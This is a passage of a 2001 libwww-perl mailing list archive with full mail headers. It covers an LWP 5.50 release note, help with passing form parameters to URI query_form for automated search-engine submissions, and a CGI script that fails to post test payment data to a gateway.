Date: 12 Jan 2001 21:12:19 -0800
Message-ID: <lr7l40ghn0.fsf@caliper.ActiveState.com>
Lines: 28
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

It appears I forgot to run 'make test' on LWP after the URI.pm update.
Because of this you will now find 5.50 on CPAN.  And this is actually
less that two weeks after the previous release. Perhaps 2001 will be a
busy LWP year after all? :-)

Changes since 5.49 are:


    Fix for test cases that failed because of URI-1.10 now encode
    space as '+' instead of '%20. Patch by Christian Gilmore
    <cgilmore@tivoli.com>.

    Makefile.PL: Require URI-1.10.

    HTTP::Daemon now accepts any non-space character as method name
    on the request line.  It used to fail on methods like "M-POST"
    because it only allowed \w-chars.

    HTTP::Date now allow fractional seconds in ISO date formats.
    Based on patch from Mark D. Anderson <mda@discerning.com>

    HTTP::Request::Common will now calculate Content-length
    even if $DYNAMIC_FILE_UPLOAD is set.  Patch provided by
    Lindley, Lee T <Lee.Lindley@viasystems.com>.


Regards,
Gisle

From atchong@sbec.com Mon Jan 15 06:36:56 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa15348 for <hyper>;
          15 Jan 2001 06:36 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05717
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 06:36 PST
Received: (qmail 22022 invoked by uid 508); 15 Jan 2001 14:36:46 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 22013 invoked from network); 15 Jan 2001 14:36:45 -0000
Received: from pigpen.sbec.com (207.243.125.253)
  by tmtowtdi.perl.org with SMTP; 15 Jan 2001 14:36:45 -0000
Received: from pigpen.sbec.com (root@localhost)
	by pigpen.sbec.com with ESMTP id IAA09906
	for <libwww@perl.org>; Mon, 15 Jan 2001 08:38:56 -0600 (CST)
Received: from sbmail1.sbec.com (sbmail1.sbec.com [128.1.6.22])
	by pigpen.sbec.com with ESMTP id IAA09902
	for <libwww@perl.org>; Mon, 15 Jan 2001 08:38:56 -0600 (CST)
Received: by SBMAIL1 with Internet Mail Service (5.5.2653.19)
	id <C7FW80MZ>; Mon, 15 Jan 2001 08:43:10 -0600
Message-ID: <F0736027B8D9D3118D1D009027A83B25C83FD9@SBMAIL1>
From: "Chong, Arthur" <atchong@sbec.com>
To: "'libwww@perl.org'" <libwww@perl.org>
Subject: LWP Automated Form Submission - Question
Date: Mon, 15 Jan 2001 08:43:09 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"


I am trying to automate URL submissions into Search Engines.
The format they seem to accept is of GET Forms, with different parameters.

Since I'm scripting this, my URL and Email are variables:
This is the structure I set up:

sub get_urls {
    
    %url = ( 
       altavista => { 
          lurl =>
           "http://add-url.altavista.digital.com/cgi-bin/newurl",
          param => [ad => 1, 
                     q  => $in_url ]
         },
        whatyouseek => { 
          lurl =>
            "http://whatuseek.com/cgi-bin/addurl",
          param => [ submit => "Add+This+URL", 
                     url    => $in_url,
                     email  => $in_email  ]
          }
    );

When I go to call access these, I use the LWP::Simple and URI::URL modules.
I set $in_url (say to http://www.mywebsite.com) and $in_email (to
me@mywebsite.com)

        $cnt = 0; 
        foreach $engine ( sort keys %url) {
            $filenm = $filenm.$cnt;
            $cnt++;
            open (OFILE,$filenm);
            print "engine is: $engine :";
            for $this_url (  $url{$engine}  ) {
                print " url is: $this_url->{lurl}";
	          #print "param: $this_url->{param}"; # cannot print like
this!
                my $surl = url ( $this_url->{lurl} );  # this works okay!
                $surl->query_form( $this_url->{param} );  # this does not
work?...
                $content = get($surl);
                print OFILE $content;  # answer comes back empty URL and
email...
            }
            print "\n";
            close(OFILE);
          }


This code works when I setup for just one hard-coded search-engine:
   my $surl = url("http://whatuseek.com/cgi-bin/addurl");
      $surl->query_form(submit => "Add+This+URL", 
                     url    => $in_url,
                     email  => $in_email  );
   $content = get ($surl);
   print $content;

I guess the problem is how to package the parameters from the 
hash-of-hash-of-hash structure into the "query_form" module
call....

Any help much appreciated!!  Thank you!
-Arthur.


From merlyn@stonehenge.com Mon Jan 15 07:54:22 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18045 for <hyper>;
          15 Jan 2001 07:54 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18086
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 07:54 PST
Received: (qmail 1588 invoked by uid 508); 15 Jan 2001 15:54:13 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 1579 invoked from network); 15 Jan 2001 15:54:10 -0000
Received: from halfdome.holdit.com (merlyn@209.102.105.64)
  by tmtowtdi.perl.org with SMTP; 15 Jan 2001 15:54:10 -0000
Received: (from merlyn@localhost)
	by halfdome.holdit.com (8.9.1/8.9.1) id HAA17379;
	Mon, 15 Jan 2001 07:53:58 -0800
To: "Chong, Arthur" <atchong@sbec.com>
Cc: "'libwww@perl.org'" <libwww@perl.org>
Subject: Re: LWP Automated Form Submission - Question
References: <F0736027B8D9D3118D1D009027A83B25C83FD9@SBMAIL1>
From: "Randal L. Schwartz" <merlyn@stonehenge.com>
Date: 15 Jan 2001 07:53:58 -0800
In-Reply-To: <F0736027B8D9D3118D1D009027A83B25C83FD9@SBMAIL1>
Message-ID: <m166jgn755.fsf@halfdome.holdit.com>
Lines: 13
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

>>>>> "Chong," == Chong, Arthur <atchong@sbec.com> writes:

Chong,>                 $surl->query_form( $this_url->{param} );  # this does not

You need to de-reference the reference to get the list to pass to ->query_form.

$surl->query_form( @{ $this_url->{param} } );

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!

From atchong@sbec.com Mon Jan 15 10:36:34 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa25712 for <hyper>;
          15 Jan 2001 10:36 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa09664
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 10:36 PST
Received: (qmail 19133 invoked by uid 508); 15 Jan 2001 18:36:27 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19122 invoked from network); 15 Jan 2001 18:36:21 -0000
Received: from pigpen.sbec.com (207.243.125.253)
  by tmtowtdi.perl.org with SMTP; 15 Jan 2001 18:36:21 -0000
Received: from pigpen.sbec.com (root@localhost)
	by pigpen.sbec.com with ESMTP id MAA02174
	for <libwww@perl.org>; Mon, 15 Jan 2001 12:38:31 -0600 (CST)
Received: from sbmail1.sbec.com (sbmail1.sbec.com [128.1.6.22])
	by pigpen.sbec.com with ESMTP id MAA02170
	for <libwww@perl.org>; Mon, 15 Jan 2001 12:38:31 -0600 (CST)
Received: by SBMAIL1 with Internet Mail Service (5.5.2653.19)
	id <C7FW9BV8>; Mon, 15 Jan 2001 12:42:45 -0600
Message-ID: <F0736027B8D9D3118D1D009027A83B25C83FDD@SBMAIL1>
From: "Chong, Arthur" <atchong@sbec.com>
To: "'merlyn@stonehenge.com'" <merlyn@stonehenge.com>
Cc: "'libwww@perl.org'" <libwww@perl.org>
Subject: RE: LWP Automated Form Submission - Question
Date: Mon, 15 Jan 2001 12:42:34 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"


*Thanks-a-Million!!*

That worked great!!

-Arthur.

-----Original Message-----
From: merlyn@stonehenge.com [mailto:merlyn@stonehenge.com]
Sent: Monday, January 15, 2001 9:54 AM
To: Chong, Arthur
Cc: 'libwww@perl.org'
Subject: Re: LWP Automated Form Submission - Question


>>>>> "Chong," == Chong, Arthur <atchong@sbec.com> writes:

Chong,>                 $surl->query_form( $this_url->{param} );  # this
does not

You need to de-reference the reference to get the list to pass to
->query_form.

$surl->query_form( @{ $this_url->{param} } );

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl
training!

From robert@chalmers.com.au Mon Jan 15 14:14:36 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07541 for <hyper>;
          15 Jan 2001 14:14 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08217
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 14:14 PST
Received: (qmail 13666 invoked by uid 508); 15 Jan 2001 22:14:28 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 13656 invoked from network); 15 Jan 2001 22:14:25 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 15 Jan 2001 22:14:25 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0FMCs818619
	for <libwww@perl.org>; Tue, 16 Jan 2001 08:12:54 +1000 (EST)
Message-ID: <006801c07f3f$8dfbf1e0$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: LWP::UserAgent. Can't call method "request" on an undefined value at ???? what is causing this error in the cgi?
Date: Tue, 16 Jan 2001 08:07:28 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400


I have a test.pl program working, basically the standard example with
a few extras. It works fine as a stand alone program, but fails as a
subroutine in a cgi? and I can't understand why
-======================
#!/usr/local/bin/perl
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("AgentName/0.1 " . $ua->agent);
#create request
my $req = new HTTP::Request POST => 'https://sec.aba.net.au/cgi-
bin/service/authorise/test';
$req->content_type('application/x-www-form-urlencoded');
$req->content('&secParams=https://sec.aba.net.au/merchant/test/testpayment.p
rops &referenceID=xxx &cardType=ABA Test &cardNumber=abasuccess
&nameOnCard=Robert &expiryMonth=3 &expiryYear=2002 &amount=45.00
&resultURL=http://www.chalmers.com.au/~robert/allvars.php3');
#Pass request and get response
my $res = $ua->request($req);
#Check response
if ($res->is_success) {
   print $res->content;
} else {
   print $res->status_line;
}

=======================
This works fine, and returns the output of the resultURL as requested.

HOWEVEr.....  if I put that routine into a perl CGI, and it gets
called from a generated web page, (Verify.html) like this,
 <form post.... ../../reg_system.cgi&action=esecpay>

I get this error message:
Can't call method "request" on an undefined value at
/usr/local/lib/perl5/site_perl/5.6.0/LWP/UserAgent.pm line 227.
========================================
sub esecpay {

   [ the same code as above, just without the /usr/local/bin/perl of
course]

}
==========================


This is the trace in its entirety from the perl script unsuccessfully called
via the cgi program.

LWP::UserAgent::new: ()
LWP::UserAgent::request: ()
LWP::UserAgent::simple_request: POST
https://sec.aba.net.au/cgi-bin/service/authorise/test
LWP::UserAgent::_need_proxy: Not proxied
LWP::Protocol::http::request: ()
Can't call method "request" on an undefined value at
/usr/local/lib/perl5/site_perl/5.6.0/LWP/UserAgent.pm line 227.

===============================

This is the top part of the _successful_ run from just the perl program.
(command line)
LWP::UserAgent::new: ()
LWP::UserAgent::request: ()
LWP::UserAgent::simple_request: POST
https://sec.aba.net.au/cgi-bin/service/authorise/test
LWP::UserAgent::_need_proxy: Not proxied
LWP::Protocol::http::request: ()
LWP::Protocol::http::request: POST /cgi-bin/service/authorise/test
HTTP/1.0
Host: sec.aba.net.au
User-Agent: AgentName/0.1 libwww-perl/5.50
=============================

Both bits of code are exactly the same. The one in the cgi as a subroutine
fails, the command line script works.

Can anyone shed some light on this at all - you'll have a friend for life:-)

thanks
Robert



From sburke@spinn.net Mon Jan 15 14:25:30 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08238 for <hyper>;
          15 Jan 2001 14:25 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa09595
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 14:25 PST
Received: (qmail 17733 invoked by uid 508); 15 Jan 2001 22:25:24 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 17724 invoked from network); 15 Jan 2001 22:25:24 -0000
Received: from newone.spinn.net (HELO one.spinn.net) (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 15 Jan 2001 22:25:24 -0000
Received: from 2ch0201 (dialip232.spinn.net [216.223.224.232])
	by one.spinn.net (8.8.7/8.8.7) with SMTP id PAA09887;
	Mon, 15 Jan 2001 15:17:52 -0700
Message-Id: <3.0.6.32.20010115152443.007bae50@mail.spinn.net>
X-Sender: sburke@mail.spinn.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Mon, 15 Jan 2001 15:24:43 -0700
To: "Chong, Arthur" <atchong@sbec.com>, libwww@perl.org
From: "Sean M. Burke" <sburke@spinn.net>
Subject: Re: LWP Automated Form Submission - Question
In-Reply-To: <F0736027B8D9D3118D1D009027A83B25C83FD9@SBMAIL1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 08:43 AM 2001-01-15 -0600, Chong, Arthur wrote:
>
>I am trying to automate URL submissions into Search Engines.
>The format they seem to accept is of GET Forms, with different parameters.
>[...]
>sub get_urls {
>    
>    %url = ( 
>       altavista => { 
>          lurl =>
>           "http://add-url.altavista.digital.com/cgi-bin/newurl",
>          param => [ad => 1, 
>                     q  => $in_url ]
>         },
>[...]

Incidentally, I once did such a thing.

And there's two things I found that may be of interest to you and others:

1) I also added something that would consider the returned content and, for
search engines where this was possible, throw an alert if the search engine
said that it tried accessing the web page whose URL you'd submitted, but
found it inaccessible.  The way this was done varied from engine to engine,
but it involved things like
  freak_out() unless $ret->content =~ m<Thank you!>;
or
  freak_out() if $ret->content =~ m<Error:>


2) I dimly remember that one search engine actually seemed to care about
the order of the form variables, and/or what characters in them were actually
%-encoded.  I don't remember which engine, nor do I remember the details of
the %-encoding thing, but the upshot was:
a) I couldn't store the form parameters as:
          param => { ad => 1, q  => $in_url }
(which is what I'm normally used to, since usually who cares about the
order?), but instead had to do what you do:
          param => [ ad => 1, q  => $in_url ]
b) I had to do something specifying what got %-encoded as the GET query was
being made.  Can't remember how or what, and this may have been to cater to
a search engine submissions-accepter that no longer exists, or has changed
its format to not caring anymore.  This was years ago.


(And now a digression, from the "Don't Get Me Started" file:)

I have occasionally considered digging out this old code, prettying it up,
and making out of it a CPAN-published module-suite such that you'd call it as:

  use Vroomvroom;  # or whatever

which would go looking for what-all engines it knew how to submit to (each
a different module-file, say), and add their names to @Vroomvroom::engines.
 Then one could do something like:

  $Vroomvroom::contact_email = 'mojojojo@evilmonkeys.int';
  foreach my $u (@my_urls) {
    foreach my $e (@Vroomvroom::engines) {
      print
       Vroomvroom::submit($u, $e)
        ? "okay on $e submission of $u\n"
        : "nogo on $e submission of $u: $Vroomvroom::ERROR\n"
      ;        
    }
  }

But I decided not to, for two reasons:
1) It sounds like real work maintaining such a thing for an indefinite
number of engine submission URLs.  And, in a very profound sense, I don't
think I could be made to care about whether they'd work; notably, I
wouldn't really notice if they broke.

2) So far, for the dozens of modules I've put in CPAN, I've gotten nothing
but intelligent email about them -- intelligent questions of varying
degrees of familiarity with my documentation, intelligent suggestions for
patches, etc.

But I have a horrible creeping feeling that if I wrote a module such as
I've described, I would discover how /stupid/ email can be.  In my
occasional contacts with the world of "professional webmasters", I have
found that 
the more penny-ante they get, the more they are likely to evidence an
addled-brained obsession (as opposed to healthy concern) with the question
of IS MY SITE IN THE SEARCH ENGINES????.  And if I wrote a Vroomvroom
module, as above, I would get constant email to the effect of:

  hey mr burke i used yr CPAN modules VROOM VROOM and it said it
  submit my site to ALTABISTA and then i looked their for it
  and IT WASN"T THERE.  IS YOUR MODULE BREAKEN?
  your friend,
  Habip APONGAPONGA
  (SUPER WEBMASTER, psychobillyfrikout.com! psychobillyfrikout.com!)

[The names have been changed to protect the addled-brained]

As a demonstration of how addled it is possible for brains to get, I
recently had a conversation with such a superwebmaster who said that, "of
course, automated search engine submissions just don't work!".  I asked how
this hyoomon had arrived at that conclusion -- "Some research I did!".  I
will spare you the details of what passed for research in this entity's
mind, but the upshot was that she decided that indefinite kinds of voodoo
and psychic jiu-jitsu were employed by the All-Knowing Lord High Masters Of
The Search Engines to distinguish URL-submitting HTTP sessions that come
from a real person feeding a request by hand into a browser, from ones that
come from anything else.

This raised questions in my mind, like: does it jinx it if you paste the
URL into the submission form, instead of typing it in?  Does similar
jinxing result from having several submission windows open at once?  Do you
have to light a candle for each submission, and intone "Om Mani Lycos Hum"?

But I ended up just saying that I would be happy if the creature in
question could actually show me test and control groups of URLs "manually"
submitted versus ones "automatedly" submitted, and demonstration that the
former were in some search engine, while the latter were missing.  She
didn't seem interested in such a formality as reproducable proof.

Altho I suppose I could try this myself.

--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From robert@chalmers.com.au Mon Jan 15 17:34:32 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18287 for <hyper>;
          15 Jan 2001 17:34 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa04337
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 17:34 PST
Received: (qmail 9610 invoked by uid 508); 16 Jan 2001 01:34:26 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 9601 invoked from network); 16 Jan 2001 01:34:24 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 16 Jan 2001 01:34:24 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0G1XDc19350
	for <libwww@perl.org>; Tue, 16 Jan 2001 11:33:13 +1000 (EST)
Message-ID: <00be01c07f5b$89c11da0$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: libwww <libwww@perl.org>
Subject: Need libwww guru help please. "Can't call method "request" on an undefined value at ....."
Date: Tue, 16 Jan 2001 11:27:48 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400


Hi folks.
Seriously in need of some help from the Master here. I'll enclose the little
bit of sample code, and even a web address to test it out if you've a
mind...
I'm trying to set up an interface to a secure server to post creditcard
details, and on success, return to the interface. Easy? I though so. but was
wrong as usual.

As a standalone program, it works fine. As a subroutine in another program,
called from a webpage, it fails.
........................................
Can't call method "request" on an undefined value at
/usr/local/lib/perl5/site_perl/5.6.0/LWP/UserAgent.pm line 227.
.......................................
It appears to be failing at the [my $res = $ua->request($req);] part.... I
dunno. It's losing the contents of the $request variable fo some reason? I
think?


ok.

Working code.
Here's the stand alone code: much like the distribution sample in fact. If
you run this, you get the generated page back. The 'resultURL' points the
esec server back to the 'allvars.php3' program on my server.
=======================
#!/usr/local/bin/perl
use LWP::UserAgent;
use LWP::Debug qw(+conns +trace +debug);
$ua = new LWP::UserAgent;
$ua->agent("AgentName/0.1 " . $ua->agent);

#create request
my $req = new HTTP::Request POST =>
'https://sec.aba.net.au/cgi-bin/service/authorise/test';
$req->content_type('application/x-www-form-urlencoded');
$req->content('&secParams=https://sec.aba.net.au/merchant/test/testpayment.p
rops &referenceID=xxx &cardType=ABA Test &cardNumber=abasuccess
&nameOnCard=Robert &expiryMonth=3 &expiryYear=2002 &amount=45.00
&resultURL=http://www.chalmers.com.au/~robert/allvars.php3');

#Pass request and get response
my $res = $ua->request($req);

#Check response
if ($res->is_success) {
   print $res->content;
} else {
   print $res->status_line;
}
==================================================

Here is the code - almost exactly the same - from within the cgi program.
----------------------------------------------------------------------------
You can see this working, by calling
http://www.chalmers.com.au/~robert/cgi-bin/opensrs-test-client-2.21/cgi/reg_
system.cgi

Pick the same name as the sample. "chalmers ak" and register it as a new
user, put bogus info in the order form, and use "abasuccess" in place of a
VisaCard number. Leave the rest the same.

don't worry, its not live, and will crash after you click [ORDER] from the
Verify page. Thats the bit where the error is. The whol thing is in a test
env anyway,so don't worry.
The sequence.
check name
fill in details
verify
pay by visa. [ crash]
complete registration
end.

This is the code from the reg_system.cgi.

##############################  Makepayment via Visa
#################################################################
sub esecpay {
my (%HTML, $ua);
use LWP::UserAgent;
use LWP::Debug qw(+conns +trace +debug);
$ua = new LWP::UserAgent;
$ua->agent("AgentName/0.1 " . $ua->agent);

#create request
my $req = new HTTP::Request POST =>
'https://sec.aba.net.au/cgi-bin/service/authorise/test';
$req->content_type('application/x-www-form-urlencoded');
$req->content('&secParams=https://sec.aba.net.au/merchant/test/testpayment.p
rops &referenceID=xxx &cardType=ABA Test &cardNumber=abasuccess
&nameOnCard=Robert &expiryMonth=3 &expiryYear=2002 &amount=45.00
&resultURL=http://www.chalmers.com.au/~robert/allvars.php3');

#Pass request and get response
my $res = $ua->request($req);

#Check response
if ($res->is_success) {
   print $res->content;
} else {
   print $res->status_line;
}

}
#################################  end of esecpay
################################################################


thanks so much for any help in trying to understand why it wont proceed ?

Robert


From peggy@polimi.it Mon Jan 15 20:10:41 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa25359 for <hyper>;
          15 Jan 2001 20:10 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23788
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 20:10 PST
Received: (qmail 26476 invoked by uid 508); 16 Jan 2001 04:10:35 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26467 invoked from network); 16 Jan 2001 04:10:34 -0000
Received: from smtp3.libero.it (193.70.192.53)
  by tmtowtdi.perl.org with SMTP; 16 Jan 2001 04:10:34 -0000
Received: from peggy.polimi.it (151.24.22.68) by smtp3.libero.it (5.5.015.5)
        id 3A546BEB007B2EC3 for libwww@perl.org; Tue, 16 Jan 2001 05:10:33 +0100
Message-Id: <5.0.0.25.1.20010116042810.00a6fc20@mail.polimi.it>
X-Sender: peggy@mail.polimi.it
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Tue, 16 Jan 2001 05:02:42 +0100
To: libwww@perl.org
From: Matteo Perego <peggy@polimi.it>
Subject: html::form troubles
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I've experienced troubles with HTML::Form parsing forms that cointains 
SELECTs elements: when it's present the MULTIPLE attribute i can't use the 
value method for setting a value other than the first one. I hope it's 
simply a bug and it's not my newbieness :)


From robert@chalmers.com.au Mon Jan 15 20:32:09 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26264 for <hyper>;
          15 Jan 2001 20:32 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26553
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Jan 2001 20:32 PST
Received: (qmail 28922 invoked by uid 508); 16 Jan 2001 04:32:03 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28912 invoked from network); 16 Jan 2001 04:32:01 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 16 Jan 2001 04:32:01 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0G4Utc19905
	for <libwww@perl.org>; Tue, 16 Jan 2001 14:30:55 +1000 (EST)
Message-ID: <000b01c07f74$586bd650$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: libwww <libwww@perl.org>
References: <00be01c07f5b$89c11da0$1a6001cb@chalmers.com.au> <m1zogsgte8.fsf@halfdome.holdit.com>
Subject: Re: Need libwww guru help please. "Can't call method "request" on an undefined value at ....."
Date: Tue, 16 Jan 2001 14:25:22 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi Randal,  (replying to list only - someone may have an answer)
took your advice.
Sorry, same result.  The standalone program works fine. As a subroutine  it
fails.

Can't call method "request" on an undefined value at
/usr/local/lib/perl5/site_perl/5.6.0/LWP/UserAgent.pm line 227

Rewrote the code: (It is much easier to understand now....)

##############################  Makepayment via Visa
#################################################################
sub esecpay {

my $ua;
use HTTP::Request::Common;
use LWP::UserAgent;
#use LWP::Debug qw(+conns +trace +debug);
$ua = LWP::UserAgent->new;
$ua->agent("AgentName/0.1 " . $ua->agent);

#create request
my $req = (POST 'https://sec.aba.net.au/cgi-bin/service/authorise/test',
        [ secParams   =>
'https://sec.aba.net.au/merchant/test/testpayment.props',
          referenceID => 'new.domain.name',
          cardType    => 'ABA Test',
          cardNumber  => 'abasuccess',
          nameOnCard  => 'Robert Chalmers',
          expiryMonth => '3',
          expiryYear  => '2002',
          amount      => '45.00',
          resultURL   => 'http://www.chalmers.com.au/~robert/allvars.php3',
        ]);
$req->content_type('application/x-www-form-urlencoded');

#see what happens
print $ua->request($req)->as_string;

}
#################################  end of esecpay
################################################################

It's got me stumped.

Robert


> look into HTTP::Request::Common to create your requests.
> --
> Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777
0095
> <merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
> Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
> See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl
training!
>


From philip_mitchell@harvard.edu Tue Jan 16 12:18:47 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18301 for <hyper>;
          16 Jan 2001 12:18 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18236
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Jan 2001 12:18 PST
